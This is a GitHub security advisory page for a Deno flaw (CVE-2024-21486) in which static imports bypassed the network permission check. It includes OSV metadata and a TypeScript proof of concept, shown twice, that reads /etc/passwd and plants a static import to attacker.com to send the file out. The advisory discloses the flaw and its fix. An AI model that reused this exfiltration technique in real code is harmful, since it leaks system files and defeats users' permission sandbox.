GHSA-JV4X-JV3H-QFF5
Vulnerability from github – Published: 2025-06-05 01:21 – Updated: 2025-06-05 01:21Summary
Static imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network.
Details
Static imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with deno run:
- The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code.
- When
--allow-writeand--allow-readpermissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file.
PoC
const __filename = new URL("", import.meta.url).pathname;
let oldContent = await Deno.readTextFile(__filename);
let passFile = await Deno.readTextFile("/etc/passwd");
let pre =
'import {foo} from "[https://attacker.com?val=](https://attacker.com/?val=)' +
encodeURIComponent(passFile) + '";\n';
await Deno.writeTextFile(__filename, pre + oldContent);
Executing a file containing this payload twice, with deno run --allow-read --allow-write would cause the password file to leak on the network, even though no network permission was granted.
This vulnerability was fixed with the addition of the --allow-import flag: https://docs.deno.com/runtime/fundamentals/security/#network-access
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "deno"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-21486"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-05T01:21:08Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nStatic imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network.\n\n### Details\n\nStatic imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with `deno run`:\n\n1. The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code.\n2. When `--allow-write` and `--allow-read` permissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file.\n\n### PoC\n\n```ts\nconst __filename = new URL(\"\", import.meta.url).pathname;\nlet oldContent = await Deno.readTextFile(__filename);\nlet passFile = await Deno.readTextFile(\"/etc/passwd\");\nlet pre =\n \u0027import {foo} from \"[https://attacker.com?val=](https://attacker.com/?val=)\u0027 +\n encodeURIComponent(passFile) + \u0027\";\\n\u0027;\nawait Deno.writeTextFile(__filename, pre + oldContent);\n```\n\nExecuting a file containing this payload twice, with `deno run --allow-read --allow-write` would cause the password file to leak on the network, even though no network permission was granted.\n\nThis vulnerability was fixed with the addition of the `--allow-import` flag: https://docs.deno.com/runtime/fundamentals/security/#network-access",
"id": "GHSA-jv4x-jv3h-qff5",
"modified": "2025-06-05T01:21:08Z",
"published": "2025-06-05T01:21:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/denoland/deno/security/advisories/GHSA-jv4x-jv3h-qff5"
},
{
"type": "PACKAGE",
"url": "https://github.com/denoland/deno"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Deno vulnerable to Exposure of Sensitive Information to an Unauthorized Actor"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
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- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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